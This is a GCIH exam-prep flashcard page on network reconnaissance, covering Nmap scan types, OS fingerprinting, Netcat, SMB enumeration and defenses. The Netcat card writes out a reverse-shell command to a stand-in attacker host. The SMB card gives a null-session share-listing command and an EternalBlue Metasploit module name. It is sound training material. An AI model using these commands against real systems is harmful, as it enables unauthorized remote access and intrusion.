Learn Reconnaissance, Scanning, and Enumeration (GCIH) with Interactive Flashcards

Master key concepts in Reconnaissance, Scanning, and Enumeration through our interactive flashcard system. Click on each card to reveal detailed explanations and enhance your understanding.

Nmap Host Discovery and Scanning

Nmap (Network Mapper) is a powerful open-source tool widely used in cybersecurity for host discovery, port scanning, and network enumeration — all critical skills assessed in the GCIH certification.

**Host Discovery:**
Before scanning ports, Nmap determines which hosts are alive on a network. Key techniques include:

- **ARP Ping Scan (-PR):** Sends ARP requests on local networks; highly effective and difficult to block.
- **ICMP Echo Ping (-PE):** Sends ICMP echo requests (traditional ping) to identify live hosts.
- **TCP SYN Ping (-PS):** Sends SYN packets to specified ports; a response (SYN/ACK or RST) confirms the host is alive.
- **TCP ACK Ping (-PA):** Sends ACK packets; useful for bypassing stateless firewalls.
- **UDP Ping (-PU):** Sends UDP packets to unlikely ports, expecting ICMP port unreachable responses.
- **No Ping (-Pn):** Skips host discovery and scans all targets directly.

**Port Scanning Techniques:**
- **TCP SYN Scan (-sS):** The default and most popular scan; sends SYN packets without completing the three-way handshake (half-open scan), making it stealthier.
- **TCP Connect Scan (-sT):** Completes the full TCP handshake; more detectable but requires no special privileges.
- **UDP Scan (-sU):** Identifies open UDP services; slower due to rate-limiting of ICMP responses.
- **FIN/Xmas/Null Scans (-sF/-sX/-sN):** Send unusual flag combinations to evade firewalls and IDS; rely on RFC 793 behavior.
- **ACK Scan (-sA):** Maps firewall rulesets by determining filtered vs. unfiltered ports.

**Service and OS Detection:**
- **Version Detection (-sV):** Probes open ports to determine service and version information.
- **OS Fingerprinting (-O):** Analyzes responses to determine the target operating system.
- **Nmap Scripting Engine (NSE):** Extends functionality with scripts for vulnerability detection, enumeration, and exploitation.

For GCIH candidates, understanding Nmap is essential for identifying reconnaissance activities, analyzing scan signatures in logs, and implementing appropriate defensive countermeasures against network scanning threats.

Port Scanning Techniques and Analysis

Port scanning is a fundamental reconnaissance technique used to discover open ports and services on target systems, and it is a critical topic in the GCIH certification. Understanding port scanning techniques and their analysis is essential for both attackers and defenders.

**Common Port Scanning Techniques:**

1. **TCP Connect Scan:** Completes the full three-way handshake (SYN, SYN-ACK, ACK). It is reliable but easily detectable since full connections are logged.

2. **SYN (Half-Open) Scan:** Sends a SYN packet and waits for a SYN-ACK (open) or RST (closed) response. It never completes the handshake, making it stealthier than a full connect scan.

3. **FIN, XMAS, and NULL Scans:** These send packets with unusual flag combinations. Closed ports respond with RST, while open ports typically remain silent (on compliant systems). They can bypass some firewalls and IDS but are unreliable against Windows systems.

4. **UDP Scan:** Sends UDP packets to target ports. An ICMP Port Unreachable response indicates a closed port, while no response may suggest an open or filtered port. UDP scans are slower and less reliable.

5. **ACK Scan:** Used to map firewall rulesets by determining whether ports are filtered or unfiltered rather than open or closed.

6. **Idle (Zombie) Scan:** Uses a third-party idle host to scan the target indirectly, making attribution extremely difficult.

**Analysis and Detection:**

Security professionals analyze port scans by monitoring network traffic with tools like Wireshark, Snort, and Zeek. Key indicators include rapid connection attempts across multiple ports, unusual flag combinations, and traffic from single sources targeting sequential ports. SIEM systems correlate these events for alerting.

**Tools:**

Nmap is the most widely used port scanner, supporting all major scan types. Masscan enables high-speed scanning of large networks.

**Defense:**

Defenders should implement firewalls, IDS/IPS, rate limiting, and port knocking to mitigate scanning risks. Regular vulnerability assessments help identify exposed services before adversaries exploit them.

Service and Version Enumeration

Service and Version Enumeration is a critical phase in the reconnaissance and scanning process that involves identifying specific services running on target systems and determining their exact versions. This technique is essential for both penetration testers and incident handlers, as it helps map the attack surface and identify potential vulnerabilities associated with specific software versions.

During service enumeration, tools like Nmap, Nessus, and Netcat are commonly used to probe open ports and gather detailed information about the services behind them. Nmap's `-sV` flag is one of the most widely used options, sending specially crafted probes to open ports and analyzing responses to determine the service name, version number, and sometimes the underlying operating system.

The process typically works by connecting to open ports and analyzing banner information (banner grabbing), sending protocol-specific queries, and comparing responses against known service fingerprint databases. For example, connecting to port 80 might reveal that a web server is running Apache 2.4.49, which is known to have a path traversal vulnerability (CVE-2021-41773).

Key techniques include:

1. **Banner Grabbing** - Capturing the initial response from a service when a connection is established, often revealing software name and version.
2. **Probing** - Sending specific requests designed to elicit version-revealing responses from services.
3. **Protocol Analysis** - Examining how services respond to various protocol-specific commands.

From an incident handler's perspective, understanding service enumeration is vital because attackers use this information to select targeted exploits. Defenders can use the same techniques to audit their own networks, identify outdated or vulnerable services, and implement appropriate patches or mitigations.

Common countermeasures include disabling unnecessary service banners, using intrusion detection systems to detect enumeration attempts, implementing port filtering, and maintaining up-to-date patches. Organizations should regularly conduct their own service enumeration to proactively discover and remediate vulnerabilities before attackers exploit them.

OS Fingerprinting Methods

OS Fingerprinting is a critical reconnaissance technique used to determine the operating system running on a target host. It falls into two main categories: active and passive fingerprinting.

**Active OS Fingerprinting** involves sending specially crafted packets to a target and analyzing the responses. Tools like Nmap use this method by sending TCP, UDP, and ICMP probes to examine how the target's network stack responds. Each operating system implements TCP/IP slightly differently, creating unique signatures. Key indicators include:

- **TCP Window Size**: Different OSes use different default window sizes.
- **TTL (Time to Live) Values**: Windows typically uses 128, Linux uses 64, and Cisco devices use 255.
- **Don't Fragment (DF) Bit**: Some OSes set this flag by default while others don't.
- **TCP Options**: The order and presence of TCP options like MSS, window scaling, SACK, and timestamps vary across operating systems.
- **Initial Sequence Number (ISN) patterns**: OSes generate ISNs differently.

Nmap's `-O` flag performs active OS detection by sending a series of probes and comparing responses against its signature database.

**Passive OS Fingerprinting** involves sniffing network traffic without sending any packets, making it stealthy and undetectable. Tools like **p0f** analyze intercepted traffic characteristics such as TTL, window size, DF bit, and TCP options from normal communications. This method is ideal for covert reconnaissance.

**Banner Grabbing** is another fingerprinting method where attackers connect to services (HTTP, FTP, SMTP) and read the banners returned, which often reveal OS and service version information. Tools like Netcat and Telnet facilitate this.

From a GCIH perspective, understanding OS fingerprinting is essential for both attackers performing enumeration and defenders detecting reconnaissance activity. Countermeasures include using firewalls to normalize packets, deploying IDS/IPS to detect fingerprinting attempts, modifying default OS stack behavior, and removing service banners. Recognizing fingerprinting attempts in network logs is a key incident handling skill.

Netcat for Offensive and Defensive Use

Netcat, often called the 'Swiss Army knife' of networking, is a versatile command-line tool used extensively in both offensive and defensive cybersecurity operations, making it a critical topic in the GCIH certification.

**Offensive Use:**

1. **Port Scanning:** Netcat can perform basic port scanning to identify open services on target systems using commands like `nc -zv target 1-1024`, helping attackers enumerate available attack surfaces during reconnaissance.

2. **Banner Grabbing:** By connecting to open ports, Netcat retrieves service banners that reveal software versions and configurations, aiding in vulnerability identification.

3. **Reverse Shells:** Attackers frequently use Netcat to establish reverse shells. The attacker sets up a listener (`nc -lvp 4444`) and the compromised system connects back (`nc attacker_ip 4444 -e /bin/bash`), bypassing firewall restrictions on inbound connections.

4. **Data Exfiltration:** Netcat can transfer files between systems, enabling attackers to exfiltrate sensitive data covertly through simple redirection operators.

5. **Pivoting and Relaying:** It can create relay connections to pivot through compromised networks, reaching otherwise inaccessible internal systems.

**Defensive Use:**

1. **Network Troubleshooting:** Defenders use Netcat to test connectivity, verify firewall rules, and validate that services are properly listening on expected ports.

2. **Honeypots:** Setting up Netcat listeners on unused ports can act as simple honeypots to detect unauthorized scanning or intrusion attempts.

3. **Forensic Data Collection:** Incident handlers use Netcat to securely transfer forensic images and log files from compromised systems to analysis workstations without installing additional software.

4. **Service Emulation:** Defenders can simulate services to understand attacker behavior and techniques during incident response.

**Detection Considerations:**
Security teams should monitor for unexpected Netcat processes, unusual outbound connections, and known Netcat signatures in network traffic. Modern variants like Ncat (from Nmap) add SSL encryption, making detection more challenging. Understanding Netcat's capabilities is essential for GCIH professionals to both identify its malicious use and leverage it during incident handling.

Network Access Manipulation

Network Access Manipulation is a critical concept within the GCIH framework, falling under the domains of Reconnaissance, Scanning, and Enumeration. It refers to techniques used by attackers to exploit, alter, or bypass network access controls to gain unauthorized entry into systems, networks, or resources.

During the reconnaissance phase, attackers gather information about network architecture, access control mechanisms, firewalls, routers, and authentication systems. This intelligence is then used to identify weaknesses in how network access is managed and enforced.

Key techniques involved in Network Access Manipulation include:

1. **MAC Address Spoofing**: Attackers forge their MAC address to impersonate a trusted device, bypassing MAC-based filtering on switches or wireless access points.

2. **ARP Spoofing/Poisoning**: By sending falsified ARP messages, attackers associate their MAC address with a legitimate IP address, enabling man-in-the-middle attacks or traffic interception.

3. **VLAN Hopping**: Attackers exploit misconfigured switch ports or use techniques like double-tagging to jump between VLANs, accessing restricted network segments.

4. **NAC Bypass**: Network Access Control systems can be circumvented through techniques such as spoofing health certificates, piggybacking on authorized connections, or exploiting policy exceptions.

5. **802.1X Bypass**: Attackers may exploit weaknesses in port-based authentication by using hubs or transparent bridges to share an authenticated port connection.

6. **DNS Manipulation**: Poisoning DNS caches or setting up rogue DNS servers to redirect traffic to malicious destinations.

7. **Rogue DHCP Servers**: Deploying unauthorized DHCP servers to assign malicious network configurations, redirecting default gateways or DNS settings.

Defense strategies include implementing dynamic ARP inspection, DHCP snooping, proper VLAN configurations, strong 802.1X authentication, port security measures, and continuous network monitoring. Incident handlers must understand these manipulation techniques to effectively detect, respond to, and mitigate attacks targeting network access controls, ensuring organizational security posture remains robust against evolving threats.

SMB Protocol and Features

The Server Message Block (SMB) protocol is a network file-sharing protocol that enables applications and users to read, write, and request services from server programs on a network. Originally developed by IBM and later extended by Microsoft, SMB operates primarily over TCP port 445 (or via NetBIOS over TCP on ports 137-139).

**Key Features:**

1. **File and Printer Sharing:** SMB allows clients to access shared files, directories, and printers on remote servers, making it fundamental to Windows networking environments.

2. **Authentication:** SMB supports multiple authentication mechanisms, including NTLM and Kerberos. Older versions used LM/NTLM hashes, which are vulnerable to pass-the-hash attacks and credential interception.

3. **Versions:** SMB has evolved through several versions—SMBv1 (legacy, highly vulnerable), SMBv2 (improved performance and security), and SMBv3 (encryption, improved integrity checks). SMBv1 is associated with major exploits like EternalBlue (MS17-010).

4. **Named Pipes and IPC$:** SMB uses named pipes for inter-process communication. The IPC$ share allows null sessions and can be exploited for enumeration of users, groups, shares, and policies.

**Reconnaissance & Enumeration Significance:**

From a GCIH perspective, SMB is a critical target during reconnaissance and enumeration phases. Attackers use tools like **Nmap**, **enum4linux**, **smbclient**, **CrackMapExec**, and **rpcclient** to:

- Enumerate shared resources and permissions
- Discover usernames, groups, and SIDs
- Identify OS versions and domain information
- Attempt null session authentication
- Brute-force credentials

**Security Concerns:**

SMB vulnerabilities have led to devastating attacks, including WannaCry and NotPetya ransomware campaigns exploiting EternalBlue. Common risks include null session enumeration, relay attacks (NTLM relay), man-in-the-middle attacks, and unauthorized share access.

**Mitigations** include disabling SMBv1, enforcing SMB signing, requiring encryption with SMBv3, restricting anonymous access, implementing proper firewall rules, and applying regular patches. Incident handlers must understand SMB thoroughly to detect and respond to network-based threats effectively.

SMB Share Discovery and Exploitation

SMB (Server Message Block) Share Discovery and Exploitation is a critical topic in the GCIH certification, falling under the reconnaissance, scanning, and enumeration phases of an attack lifecycle. SMB is a network file-sharing protocol commonly used in Windows environments, operating primarily on ports 445 (SMB over TCP) and 139 (SMB over NetBIOS).

**Discovery Phase:**
Attackers begin by scanning for open SMB ports using tools like Nmap (nmap -p 445,139 --open <target>). Once SMB services are identified, enumeration tools such as enum4linux, smbclient, CrackMapExec, and SMBMap are used to list available shares, permissions, users, and group policies. The command 'smbclient -L //<target> -N' attempts a null session to list shares without credentials.

**Common Vulnerabilities:**
SMB has been associated with critical vulnerabilities, including EternalBlue (MS17-010), which exploits SMBv1 and was famously used in the WannaCry ransomware attack. Other risks include null session enumeration, weak authentication, misconfigured share permissions, and SMB relay attacks where captured NTLM hashes are relayed to authenticate against other systems.

**Exploitation Techniques:**
Attackers exploit discovered shares to access sensitive files, harvest credentials, plant malware, or move laterally across the network. Tools like Metasploit provide modules for SMB exploitation (e.g., exploit/windows/smb/ms17_010_eternalblue). SMB relay attacks use tools like Responder and ntlmrelayx to intercept and relay authentication credentials. Pass-the-hash attacks allow attackers to authenticate using stolen NTLM hashes without knowing the plaintext password.

**Defensive Measures:**
Incident handlers should enforce SMB signing to prevent relay attacks, disable SMBv1, implement network segmentation, restrict anonymous access (null sessions), apply principle of least privilege to share permissions, monitor SMB traffic for anomalies, and ensure timely patching. Using tools like Wireshark and IDS/IPS systems helps detect suspicious SMB activity. Understanding these attack vectors is essential for effective incident response and threat mitigation.

SMB Vulnerability Mitigation

SMB (Server Message Block) Vulnerability Mitigation is a critical topic in the GCIH certification, focusing on protecting systems from exploitation of the SMB protocol, which is commonly used for file sharing, printer access, and inter-process communication in Windows environments. SMB vulnerabilities have been exploited in devastating attacks like WannaCry and EternalBlue (MS17-010), making mitigation essential for incident handlers.

**Key Mitigation Strategies:**

1. **Disable SMBv1:** SMBv1 is outdated and highly vulnerable. Organizations should disable it across all systems and enforce the use of SMBv2 or SMBv3, which include improved security features like encryption and integrity checking.

2. **Patch Management:** Regularly apply security patches and updates from Microsoft. Many SMB exploits target known vulnerabilities that have available patches, such as MS17-010. Timely patching significantly reduces the attack surface.

3. **Network Segmentation:** Restrict SMB traffic (TCP ports 445 and 139) between network segments using firewalls and access control lists. SMB should never be exposed to the internet, and internal access should follow the principle of least privilege.

4. **Block SMB at the Perimeter:** Configure edge firewalls to block inbound and outbound SMB traffic (ports 445, 137-139) to prevent external exploitation and lateral movement.

5. **Enable SMB Signing:** Enforce SMB packet signing to prevent man-in-the-middle attacks and ensure data integrity during transmission.

6. **SMB Encryption:** Utilize SMBv3 encryption to protect data in transit from eavesdropping and tampering.

7. **Monitoring and Detection:** Implement IDS/IPS rules to detect SMB exploitation attempts. Monitor for unusual SMB traffic patterns, failed authentication attempts, and lateral movement indicators.

8. **Least Privilege Access:** Restrict SMB share permissions to only authorized users and groups, minimizing exposure to unauthorized access.

9. **Endpoint Protection:** Deploy endpoint detection and response (EDR) solutions to identify and block SMB-based attacks at the host level.

By implementing these layered defenses, organizations can significantly reduce the risk of SMB-related attacks during reconnaissance, scanning, and enumeration phases of an intrusion.

Cloud Asset Discovery and Shadow IT

Cloud Asset Discovery and Shadow IT are critical concepts in the GCIH domain, particularly within Reconnaissance, Scanning, and Enumeration phases of cybersecurity operations.

**Cloud Asset Discovery** refers to the systematic process of identifying, cataloging, and monitoring all cloud-based resources within an organization's environment. This includes virtual machines, storage buckets, databases, serverless functions, containers, APIs, and other services deployed across platforms like AWS, Azure, and Google Cloud. Security professionals use specialized tools such as cloud-native inventory services (AWS Config, Azure Resource Graph), third-party Cloud Security Posture Management (CSPM) solutions, and automated scanning tools to maintain visibility into cloud assets. During incident handling, accurate cloud asset discovery is essential for determining the attack surface, identifying compromised resources, and understanding lateral movement paths.

**Shadow IT** refers to unauthorized or unmanaged technology resources deployed by employees or departments without the knowledge or approval of the IT security team. In cloud environments, Shadow IT commonly manifests as unsanctioned SaaS applications, rogue cloud accounts, unauthorized storage services, or development environments spun up outside governance frameworks. Shadow IT creates significant security risks because these assets often lack proper security configurations, access controls, encryption, logging, and patch management.

From a reconnaissance perspective, attackers actively search for Shadow IT assets as they represent low-hanging fruit — misconfigured S3 buckets, exposed databases, and unmonitored services are prime targets. Techniques like DNS enumeration, certificate transparency log analysis, and cloud service fingerprinting help both attackers and defenders discover these hidden assets.

For incident handlers, addressing Shadow IT requires implementing Cloud Access Security Brokers (CASBs), network traffic analysis, DNS monitoring, and organizational policies that encourage proper cloud governance. Regular cloud asset audits, automated discovery tools, and cross-department communication are essential strategies. Understanding the intersection of Cloud Asset Discovery and Shadow IT enables GCIH professionals to reduce blind spots, minimize attack surfaces, and respond more effectively to security incidents in modern cloud-centric environments.

Sigma Rules and Hayabusa Detection

Sigma Rules and Hayabusa Detection are critical components in modern incident handling and threat detection, particularly relevant to the GCIH certification domain covering Reconnaissance, Scanning, and Enumeration.

**Sigma Rules** are a generic and open signature format for SIEM (Security Information and Event Management) systems. Created by Florian Roth and Thomas Patzke, Sigma serves as a standardized way to describe log events and detection logic in a platform-agnostic manner. Similar to how YARA rules detect malware patterns and Snort rules detect network threats, Sigma rules detect suspicious activities in log data. They are written in YAML format and can be converted into queries for various SIEM platforms like Splunk, Elastic, Microsoft Sentinel, and QRadar. Sigma rules cover detection of reconnaissance activities (port scanning, enumeration attempts), lateral movement, privilege escalation, and other attack techniques mapped to the MITRE ATT&CK framework.

**Hayabusa** is a Windows event log fast forensics timeline generator and threat hunting tool developed by the Yamato Security group. Written in Rust for high performance, Hayabusa leverages Sigma-compatible detection rules along with its own custom rules to analyze Windows Event Logs (EVTX files). It rapidly processes large volumes of logs to identify suspicious activities, including scanning behavior, account enumeration, brute-force attempts, and other indicators of compromise.

In the context of Reconnaissance, Scanning, and Enumeration detection, Hayabusa can identify:
- Network scanning activities logged in Windows event logs
- User and group enumeration attempts
- Service discovery and account brute-forcing
- Suspicious authentication patterns

For incident handlers, the combination of Sigma rules and Hayabusa provides a powerful detection pipeline. Sigma rules offer shareable, vendor-neutral detection logic that the security community continuously updates, while Hayabusa provides rapid offline analysis capability during incident response. Together, they enable defenders to quickly identify adversary reconnaissance and enumeration activities across Windows environments, accelerating threat detection and response timelines during security incidents.

Defending Against Reconnaissance

Defending Against Reconnaissance is a critical aspect of cybersecurity that focuses on preventing or minimizing an attacker's ability to gather information about a target organization's networks, systems, and infrastructure. In the GCIH framework, this involves multiple layered strategies.

**1. Minimizing Information Exposure:**
Organizations should limit publicly available information by reviewing DNS records, WHOIS data, social media profiles, job postings, and website metadata. Implementing domain privacy protection and restricting zone transfers helps prevent DNS enumeration. Regularly auditing what information is accessible externally is essential.

**2. Network-Level Defenses:**
Firewalls and Intrusion Detection/Prevention Systems (IDS/IPS) should be configured to detect and block scanning activities such as port scans, ping sweeps, and OS fingerprinting attempts. Rate limiting and implementing ingress/egress filtering can thwart automated scanning tools like Nmap and Masscan. Using tools like Snort or Suricata with updated rulesets helps detect reconnaissance patterns.

**3. Honeypots and Deception Technologies:**
Deploying honeypots and honeynets can mislead attackers, waste their time, and provide early warning indicators of reconnaissance activity. Deception technologies create false targets that alert defenders when probed.

**4. Monitoring and Logging:**
Comprehensive logging of network traffic, DNS queries, and access attempts enables security teams to identify reconnaissance patterns. SIEM solutions help correlate events and detect anomalous behavior indicative of scanning or enumeration.

**5. Employee Awareness:**
Social engineering is a major reconnaissance vector. Training employees to recognize phishing attempts, pretexting, and other information-gathering tactics reduces human-based reconnaissance risks.

**6. Hardening Systems:**
Disabling unnecessary services, removing default banners, and restricting ICMP responses make enumeration more difficult. Implementing proper access controls on SNMP, LDAP, and other directory services prevents unauthorized enumeration.

**7. Regular Assessments:**
Conducting penetration testing and vulnerability assessments from an attacker's perspective helps identify what information is exposed and allows organizations to proactively close gaps before adversaries exploit them.

These combined measures significantly reduce an attacker's ability to successfully perform reconnaissance.

More Reconnaissance, Scanning, and Enumeration questions
720 questions (total)